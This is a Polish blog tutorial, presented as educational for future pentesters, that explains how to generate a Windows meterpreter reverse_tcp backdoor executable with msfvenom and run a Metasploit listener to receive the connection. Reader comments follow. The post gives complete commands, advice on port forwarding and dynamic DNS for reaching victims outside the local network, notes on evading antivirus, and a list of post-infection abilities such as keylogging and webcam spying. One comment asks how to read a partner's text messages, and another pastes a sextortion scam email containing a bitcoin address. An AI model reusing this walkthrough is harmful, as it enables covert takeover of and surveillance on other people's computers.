Payload – hakerskie narzędzie msfvenom

Dzisiaj pokażemy na przykładzie jak używać następcy narzędzi msfpayload i msfencode pakietu Metasploit Framework. Mowa oczywiście o msfvenom, który służy do generowania i kodowania ładunków payload metasploit. Narzędzie dostępne jest w systemie dla hakerów Kali Linux. Wielką zaletą modułu msfvenom jest jego wszechstronność. Za jego pomocą możemy wygenerować zarówno samodzielny payload dla systemu z rodziny Microsoft Windows jak i interpretatorów języków skryptowych takich jak PHP, Pythona lub Ruby. Cyberprzestępcy wykorzystują takie backdoory w połączeniu z socjaltechniką do zarażenia komputera swojej ofiary nawet z drugiego końca świata i oczywiście przejęcia nad nim pełnej kontroli.

Należy pamiętać, że wpis ma charakter edukacyjny i jest przeznaczony dla przyszłych pentesterów i specjalistów od bezpieczeństwa informatycznego. Często w firmach podczas audytów wykonuje się takie próby w połączeniu z inżynierą społeczną na pracownikach, aby ostatecznie zawrzeć w raporcie odpowiednie wzmianki o świadomości użytkowników sieci firmowej.

Generowanie ładunku payload

Metoda działania payload typu reverse_tcp
Przedstawiona metoda jest wykorzystywana przez cyberprzestępców do infekcji komputerów znajdujących się w dowolnym miejscu na świecie. Cracker wykorzystuje przygotowany payload typu reverse_tcp do infekcji.

Jedyne czego potrzebujemy to system operacyjny Kali Linux opisany w naszej darmowej szkole hakerów. Oczywiście możesz użyć dowolnego innego systemu z zainstalowanym pakietem dla pentesterów o nazwie Metasploit Framework. W celu wygenerowania złośliwego ładunku shell należy wydać następujące polecenie w konsoli systemu:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=MOJE_IP LPORT=16666 -f exe > backdoor.exe

W powyższym poleceniu zostały zastosowane następujące opcjonalne parametry programu msfvenom:

  • -p – wykorzystany payload programu Metaspolit Framework. Ładunek należy dobrać pod dany cel i system operacyjny ofiary. W naszym przypadku payload przeznaczony jest dla systemu Microsoft Windows, wykorzystuje odwrotne połączenie TCP i da nam dostęp do konsoli meterpretera.
  • LHOST – w przypadku wyboru shellu reverse_tcp wymagane jest podanie adresu IP systemu napastnika z którym uruchomiony plik ma się połączyć. Lepiej to pokazuje obrazek znajdujący się powyżej w tym wpisie. Jeżeli chcemy, aby działało to poza LAN musimy podać oczywiście nasz zewnętrzny adres IP i w niektórych wypadkach przekierować i odblokować port o numerze w naszym przypadku 16666 w ustawieniach naszego routera. Taka czynność nazywana jest potocznie port forwarding.
  • LPORT – port na którym ma działać trojan. Na tym samym porcie haker musi nasłuchiwać przychodzących połączeń
  • -f – format pliku wynikowego. W naszym przypadku jest to standardowa aplikacja Windows z rozszerzeniem .exe.


Listę wszystkich dostępnych ładunków wraz z opisem możemy uzyskać za pomocą polecenia:

msfvenom -l payloads > ladunki.txt

Dostępne payloady możesz podejrzeć w pliku ladunki.txt. Warto zapamiętać sobie również, że dla różnych ładunków może być różna ilość parametrów ładunku.

Inne typy ładunków można zobaczyć wydając komende:

msfvenom --help-formats

W celu uzyskania listy wymaganych argumentów danego pajlołda warto wydać następujące polecenie:

msfvenom -p windows/meterpreter/reverse_tcp --payload-options

Wybierając port na którym działa backdoor, cyberprzestępca musi pamiętać że nie może on być zajęty. Można sprawdzić to za pomocą opisywanego wielokrotnie przez nas skanera portów nmap. Istotną sprawą jest też zakres portów protokołu (0 do 65535).

Dobrze! Mamy już wygenerowany plik umożliwiający po uruchomieniu na komputerze ofiary na dostanie się do niego z pełnym dostępem.

Rodzaje ładunków payload

Ja osobiście wyróżniłbym trzy podstawowe typy ładunków. Są one następujące:

  • ładunki typu bind_tcp – w tym przypadku na komputerze celu tworzony jest serwer nasłuchujący. To haker musi znać adres IP ofiary i z nim się połączyć. Z jego charakterystyki wynika fakt, że może to być połączenie bezpieczniejsze ponieważ cracker może wykorzystać PROXY do zamaskowania swojego IP. Inną cechą jest wymóg posiadania zewnętrznego IP, czyli ofiara musi mieć mówiąc w uproszczeniu możliwość hostowania serwerów (np. gier).
  • ładunki typu reverse_tcp  w tym przypadku to ładunek łączy się po uruchomieniu z zewnętrznym serwerem lub komputerem hakera. Haker lub serwer musi mieć zewnętrzne IP. Właśnie dlatego w naszym przykładzie payload windows/meterpreter/reverse_tcp wymaga parametru LHOST (host lokalny hakera). Nie jest to oczywiści jedyny payload metasploit typu odwrotnego połączenia TCP/IP.
  • inne ładunki – istnieje wiele innych typów ładunków wykorzystujących wszelakie podatności atakowanego systemu i nie dające bezpośrednio dostępu do komputera ofiary. Dla przykładu niektóre ładunki pobierają tylko w tle pewien plik wedle konfiguracji payloada i go uruchamiają. Przykładem może być  cmd/windows/download_exec_vbs  którego opis jest następujący Download an EXE from an HTTP(S) URL and execute it. Warto przejrzeć listę ładunków wraz z ich opisami za pomocą wcześniej podanego polecania terminala. Na pewno można w ten sposób wiele nauczyć się.

Nasłuchiwanie połączenia ofiary z ładunkiem

To nie koniec próby ataku. Jako, że wybraliśmy ładunek typu reverse_tcp, należy oczywiście nasłuchiwać przychodzących połączeń na porcie 16666. Użyjemy specjalnie do tego celu przygotowany moduł multi/handler pakietu Metasploit Framework. Wydaj następujące polecenie:

msfcli multi/handler payload=windows/meterpreter/reverse_tcp lport=16666 lhost=MOJE_IP E

Wykorzystaliśmy możliwość wywoływania poleceń za pomocą interfejsu poleceń Msfconsole. Jeśli powyższy sposób nie działa to prawdopodobnie korzystasz z nowej wersji Kali Linuxa z wycofanym narzędziem msfcli. Skorzystaj wtedy z następujących po sobie komend:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 16666
set lhost 192.168.0.19
run

Powyższy drugi sposób zaprezentowaliśmy kiedyś na naszym blogu w darmowej szkole hakerów wprost z Metasploit Framework w Kali Linux.

Połączenie z ofiarą za pomocą msfcli payload
Połączenie się z ładunkiem payload następuje automatycznie zaraz po uruchomieniu go.

Gotowe. Jeżeli już nasłuchujemy i na systemie atakowanym zostanie uruchomiony nasz wygenerowany plik to wtedy przejmiemy kontrole nad zdalnym systemem. Możemy uruchomić moduł keyloggera, wykonywać dowolne polecenia w systemie wraz z kasowaniem plików, zdalnie sniffować, uruchomić zdalny pulit VNC, podsłuchiwać dźwięk z mikrofonu lub nawet podglądać obraz z kamerki internetowej. Jeśli chcesz więcej dowiedzieć się o poleceniach meterpretera wpisz polecenie help.

UPDATE 08-12-2015: Uwaga! Wielu czytelników zgłosiło, że nie działa polecenie msfcli w systemach z nowszym pakietem Metasploit Framework np. Kali Linux 2.0. Po zbadaniu sprawy wychodzi na to, że teraz to polecenie nosi nazwę msfconsole.

To by było dzisiaj na tyle. Być może przyda Ci się nasz inny wpis dotyczący tego jak zmienić ikonę pliku. Zapraszamy do pulubienia nas na facebooku HakerEduPL. Trzymajcie się mocno i czytajcie książki zarówno fabularne jak i informatyczne! Pozdrawiamy! 🙂

64 thoughts to “Payload – hakerskie narzędzie msfvenom”

    1. Bo w gruncie rzeczy to trafne spostrzeżenie. Jak najbardziej jest to RAT. Tylko tak jak pisaliśmy payload to jest ładunek więc jego funkcjonalność może być dowolna (on tylko przenosi jak ciężarówka pewną funkcjonalność). Dziękuje za komentarz Defalt. 😉

  1. hmm jest sposób żeby „atakować” kogoś z poza sieci lokalnej bez zewnętrznegi ip bo w mojm ruterze nie przekierowywania portów, a chiałbym przeprowadzić audyt swojego kompa

    1. To wtedy musi mieć system atakowany zewnętrzne IP. Po prostu niemożliwością jest połączenie się z czymś czego nie widać tak jak w życiu (ani z jednej ani z drugiej strony). Ewentualnie musiałby mieć obie osoby skonfigurowany program hamachi (wirtualna sieć LAN).

      1. Spróbuj na kali linux 1.1.0, na nim zostały przetestowane polecenia. Nie przypuszczałem, że w nowej wersji coś przekonfigurują lub usuną.

  2. Czy jest mozliwosc odczytywania sms z tel. innej osoby, np dziewczyny zeby spr czy mowi prawde? Albo czy jest mozliwosc taka zeby spr polaczenia np. zeby kazde polaczenie ktore dana osoba wykona bylo przysylane na maila z nr temtej osoby?

  3. Pewnie jestem debilem i coś źle zrobiłem, ale dla pewności zapytam. Mimo tego, że przerzuciłem pliczek backdoor.exe na mój drugi komputer (ofiarę) i odpaliłem za pomocą administratora, to oczekiwanie na infekcję trwa w nieskończoność. Jakieś sugestie co robię nie tak jak trzeba?

    1. Po zbadaniu sprawy rzeczywiście pakiet Metasploit Framework uległ w tej wersji systemu aktualizacji. Po przejściu w konsoli do folderu z aplikacjami użytkownika /usr/bin i wydaniu polecenia ls ms* dowiedzieliśmy się, że aplikacja zmieniła nazwę. Teraz aby ją wywołać należy wpisać msfconsole.

      My działaliśmy po prostu na starej wersji Kaliego 1.1.

  4. Dlaczego kiedy napiszę set payload windows/meterpreter/reverse_tcp i wciśnę enter pisze ,,The value specified for payload is not valid

    1. A wpisujesz to najpierw wybierając exploita? Widocznie dany ładunek payload nie jest dedykowany dla danego exploita który wybrałeś do testów. Dostępne ładunki możesz uzyskać za pomocą następującego polecenia:
      show payloads
      Ciężko wróżyć z fusów, ponieważ tutaj nie użyliśmy polecenia set ponieważ działaliśmy z msfcli (msfconsole).

  5. Stworzyłem plik i na moim PC (win7 64bit) się niestety nie chce odpalić.
    Wyskakuje komunikat: „wersja tego pliku jest niezgodne z wersją używanego systemu windows”.
    Można to jakoś przerobić pod system 64 bit aalbo na 64. odpalić ten plik?

    1. Dziwne, wygląda na uszkodzony plik. Czy wysyłasz ten plik e-mailem lub antywirus w tle nie zablokował jego działania lub usunął jego funkcjonalność unieszkodliwiając go? Powinien działać wygenerowany plik na systemie 64 bitowym. Co do sedna Twojego pytania. Inne ładunki możesz zobaczyć wydając polecenie msfvenom --help-formats. Następnie po wyborze odpowiedniego dla siebie wydaj polecenie tak jak zostało przedstawione w tym wpisie z dodatkowym parametrem --format <format>. Wskazujesz nim jaki format pliku do wygenerowania Cię interesuje z listy dostępnych.

  6. Witam , czy mozna poprosic o krotki poradnik zwiazany z openvas ? jak wiadomo nessus jest juz tylko wersja trial ale jakze wspanialy jest openvas wiem ze sa u niektorych problemy z instalacja i konfiguracja ale chodzi glownie okorzystanie z niego . Pozdrawiam serdecznie

    1. W nessusie możesz korzystać z tego triala ponieważ nie ogranicza on funkcjonalności w żaden sposób i do treningu wystarczy. Takie narzędzia są w 100% zbędne jeśli nie pracujesz zawodowo w firmie audytorskiej gdzie, ważny jest czas i automatyzacja.

      PS1: widziałeś https://www.youtube.com/watch?v=y9hjkgX9BrU?
      PS2: Nie wykluczam, że jak będzie czas to i onenvas się pojawia, ale wydaje mi się że on już jest w zainstalowany w Kali Linuksie i gotowy do pracy. Korzystanie z niego to podstawy języka angielskiego, bo on za Ciebie nie wykorzysta podatności tylko wskaże prawdopodobieństwo jego wykorzystania.

      Dzięki za komentarz Kim!

    2. zgadza sie ale trial tylko 7 dniowy 🙁 wiec jak bede chial pokorzystac np w wolny weekend to juz lipa 🙁 jakas alternatywa lub cos podobnego polecisz? oczywiscie darmowego bo tak jak mowisz nie jestem pentesterem klasy A+ tylko czasem pokorzystam w celach naukowych na moich dwoch lapkach . A tak poza tematem ostatnio robilem update i upgrade kaliego na vm i dziecko mi wylaczylo vm klikajac co popadnie i system kali linux siadl juz go nie odpalilem wyskakiwal blad 🙁 instalacja od nowa alez koszmar . Pozdrawiam i prowadz bloga dalej bo jest moim podrecznikiem 🙂

    3. Dzieki za odpowiedzi na moje irytujące pewnie pytania:P , i tu pojawia sie kolejne , chce stworzyc payloada w formacie exe na win 7 64x i tworze, odpalam na kompie i nie laczy mi w metasploicie pojawia mi sie komunikat ze stworzylem ale nie dla tej wersji windowsa chyba chodzi o to ze dziala pod 32 bit jak stworzyc pod 64? widows/meterpreter/reverse_tcp nie działa bo jego wlasnie uzywam i czy port ktory robie np 1666 jak u Ciebie na filmiku musi byc otwart na tym win 7? i jak go otworzyc ? skanujac nmapem pokazuje mi tylko otwarty port 80 i 111 pod te porty robic? czy musze jakos inaczej przegladalem material wiele razy i nie moge dojsc co jest nie tak prosze o podpowiedz . Pozdrawiam

      1. Porty otwiera się na routerze i NMAP nic do tego nie ma. Dokładniej chodzi o przekierowanie portów (port forwarding) i multum stron i informacji na ten temat jest w sieci. Jeśli działasz w sieci LAN tak jak my prezentujemy to nic nie musisz otwierać KIM.

  7. Payload nie dziala w windows pojawia sie komunikat program wirus.exe przestał działać i tak za kazdym razem co moze byc nie tak robie wedlug twojego polecenia i haskyego z yt mam win7 x64. Pozdro

    1. Może już ten payload jest wykrywalny i antywirus usunął część zagrożenia? Od tego właśnie są AV, aby chronić przed tego typu backdoorami.

    2. Ok ale jak robie payloada w SET to wszystko sie udaje pokazane jest ze polaczono i sesia otwarta ale nie pojawia sie meterpreter> zostaje tylko na tym ze sesia otwarta i dalej nic nie moge zrobic co moze byc przyczyna?

  8. sprawdzilem wszystkie zapory wylaczone itd i nie wiem juz kompletnie co moze byc przyczyna chcialem sprobowac z TheFatRat ale nie moge zainstalowac mingw32 ;/ polecenie apt-get install mingw32 wyswietla ze nie udalo sie odnalzezc pakietu mingw32 moze jakas podpowiedz??Pozdrawiam czekam na nowe toutoriale 🙂

  9. Jakby przekierować port 80 na swoim routerze to ktoś kto się połączy przez przeglądarkę z naszym zewnątrznym IP z portem 80 będzie widzieć na jakie strony wchodzimy?

    1. Zdecydowanie nie. Żeby cokolwiek zobaczyła osoba w takim przypadku, musiałbyś uruchomić u siebie serwer HTTP. Wtedy ta osoby z poza sieci LAN (za NAT/routera), mogłaby oglądać tą Twoją stronę internetową którą uruchomiłeś.

    1. Można skorzystać z np: msfencode, jednak są to publiczne rozwiązania i będzie to nadal wykrywalne. Jedynie co możesz zrobić to nauczyć się programować i samemu od zera swój ładunek napisać w jakimś języku, lub również nauczyć się programować ale napisać crypter który szyfruje tak jak msfencode kod.

  10. Witam, posiadam Kali Linux 2.0
    W jaki sposób mógłbym
    1. „Zapisać” sesje (w sensie, że np mam na pulpicie, klikam i jestem połączony z ofiarą – konsola gotowa)
    2. Móc to zrobić spoza sieci LAN – Czy jest jakaś metoda a’la Hamachi, ale żeby ofiarę minimalnie ingerować w jakiekolwiek działania.
    Lub żeby już się nie bawić w pseudo LAN, tylko poza siecią mieć zdalny dostęp..

    ( jeśli napisałem niezrozumiale to przepraszam, ostatnio strasznie plącze mi się język 😉 )

  11. Mam problem przy starcie nasłuchiwania wyskakuje mi na początku handler failed to bind moje ip po czym zmienia na 0.0.0.0

  12. Co muszę zrobić by mieć możliwość hostowania? Muszę skontaktować się z dostawcą internetu w tym celu czy trzeba to jakoś skonfigurować?

    1. Po pierwsze w celu jakiegokolwiek hostowania (gry/strony internetowej/usługi etc) musisz posiadać publiczny zewnętrzny adres IP. Oznacza to, że w skali świata masz unikatowy adres IP. Zazwyczaj takowa opcja jest dodatkowo co miesiąc płatna u usługodawcy. W celu zamówienia takowego adresu (być może już taki masz) musisz tak jak napisałeś skontaktować się z dostawcą internetu i zapytać jak to jest z Twoim publicznym IP. Czy trzeba skonfigurować? Tak trzeba. W przypadku, gdy posiadasz router to pełni on rolę pewnego rodzaju firewalla łączącego sieć zewnętrzną (Internet) z Twoją siecią lokalną wewnętrzną LAN. Musisz wtedy wykonać tzn. przekierowanie portów w ustawieniach routera. Kiedyś port forwarding został już opisany na blogu: https://www.haker.edu.pl/2017/04/14/przekierowanie-portow/

  13. Hej, powiedz mi, jak wykorzystać możliwości payloadów i innych tego typu rozwiązań, jeśli mam dynamiczne ip ? Gdzieś czytałem, ze serwisy typy dyn.com/dns lub noip.com ktore potrafia zamienić dynamiczne ip za każdym razem po przydzieleniu w nazwę hosta, w tego typu testach podatności nie działają. Ile w tym prawdy ? Oraz jak sobie poradzić w takim przypadku, jeśli ww serwisy nie pomogą?

    1. Działają, tylko przytoczony przez Ciebie dyndns jest płatny jak większość tego typu usług. Czemu mają nie działać? Payload to zwykła usługa sieciowa. Powiem więcej… w większości obecnych nawet tanich routerów można sobie przypiąć dyndns do routera…

  14. Witam jeżeli posiadam system Whonix Gateway i przez niego idzie ruch z Kali a komputer osoby atakowanej to moj komputer w innej sieci to jak powinno wyglądać odblokowywanie portów na routerze i jak ustalic ip lhosta skoro jestem połaczony przez proxy

    1. Ze względu na działanie sieci Tor (losowe węzły i tak dalej) takie operacje nie są możliwe. Alternatywnie możesz sobie kupić VPN umożliwiający port forwarding (nie każdy ma) jeśli chcesz mieć zmieniony adres IP. Alternatywnie można użyć połączenia typu bind_tcp w którym to Ty łączysz się z ładunkiem, a nie on z Tobą (reverse_tcp). Wtedy po prostu w normalny sposób logujesz się do routera w tej drugiej Twojej sieci i sobie konfigurujesz standardowo przekierowanie portów.

    1. To jest przestępstwo, a to jest blog dla przyszłych audytorów bezpieczeństwa (pentester) a nie przestępców.

  15. Witam mam pytanie :
    Po wpisaniu „msfvenom -p windows/meterpreter/reverse_tcp LHOST=MOJE_IP LPORT=16666 -f exe > backdoor.exe ”
    Wyskakuje mi : No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    No Arch selected, selecting Arch: x86 from the payload
    No encoder or badchars specified, outputting raw payload
    Payload size: 333 bytes
    Final size of exe file: 73802 bytes

    Pomoze ktoś ??

  16. DOstalem meila z groźbami od hakera. Co oTym myslec?

    is your pasword qazwsx ord and Let me get straight to the point. You don’t know anything about me whereas I know alot about you and you must be wondering why are you receiving this mail, correct?

    I actually placed malware on adult videos (porn material) & you know what, you accessed same sex website to experience fun (you know what I mean). When you were busy watching video clips, your web browser began functioning as a RDP (Remote Control Desktop) having a keylogger which gave me access to your system and also your web camera controls. Right after that, my software gathered your entire contacts from messenger, fb, as well as e-mail.

    Exactly what did I do?
    It is just your bad luck that I noticed your blunder. After that I gave in more time than I probably should have digging into your life and created a double-screen videotape. 1st part displays the video you had been viewing and next half shows the capture of your web cam (it is you doing naughty things). Wholeheartedly, I want to remove everything about you and allow you to get on with your daily life. And my goal is to present you a way out which will accomplish your freedom. These two option is either to ignore this email (bad for you and your family), or pay me 0.9 BTC to end this mattter for life.

    What should you do?
    Let us investigate these 2 options in more details. First Choice is to turn a blind eye to this email message. Let’s see what will happen if you opt this option. I will definitely send out your videotape to all of your contacts including members of your family, colleagues, and many others. It does not help you avoid the humiliation your self will feel when family and friends learn your unpleasant videotape from me in their inbox. Second Option is to make the payment of 0.9 BTC. We will name it my “keep the secret tip”. Now Lets see what will happen if you pick this way out. Your little secret remains private. I will erase the videotape. After you make the payment, You can freely go on with your life and family as if nothing ever occurred. You’ll make the payment through Bitcoin

    Required Amount: 0.9 BTC
    BTC ADDRESS IS: 1Je49R*rPyQrSVqn7AevujQw5YDKnxSaLmn
    (You must Remove * from this string then copy and paste it)

    Notice: You now have one day in order to make the payment. (I have a specific pixel within this email, and at this moment I know that you have read through this message). If I do not get the BitCoin, I definitely will send out your sextape to all of your contacts including family members, coworkers, etc. nevertheless, if I do get paid, I will destroy the sextape immediately. If you want to have evidence, reply with „yes!” and I definitely will send your video recording to your 5 friends. It’s a non negotiable one time offer, so kindly do not ruin my time and yours by responding to this email.

  17. Nie mogę odpalić tego pliku na komputerze z Windows 10. Wyskakuje „Ta aplikacja nie będzie działać na twoim komputerze”. Co mam zrobić???

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *